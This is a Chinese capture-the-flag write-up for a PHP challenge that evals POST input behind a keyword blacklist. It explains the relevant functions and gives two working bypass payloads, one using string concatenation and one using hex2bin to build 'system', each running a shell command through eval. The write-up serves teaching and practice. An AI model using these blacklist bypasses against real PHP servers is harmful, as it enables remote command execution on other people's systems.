WEB_ezeval
题目简介:
打开后是一段php代码,进行代码审计:
<?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($cmd); $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents'); $cmd = str_ireplace($black_list,"BMZCTF",$cmd); eval($cmd); ?>
大致思路是:我们要将需要POST传入的命令执行语句放进$cmd中,并且绕过这个过滤str_ireplace()函数。
相关知识:
htmlspecialchars() 函数:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
str_ireplace() 函数:str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
eval()函数:把字符串作为PHP代码执行。
解法:
一、拼接字符串绕过
cmd=(s.y.s.t.e.m)('cat /flag'); //.在php中有连接字符串的作用,所以用来拼接字符串
二、进制编码绕过
cmd=hex2bin('73797374656d')('cat /flag');
PHP hex2bin() 函数:把十六进制值转换为 ASCII 字符.
注意分号闭合语句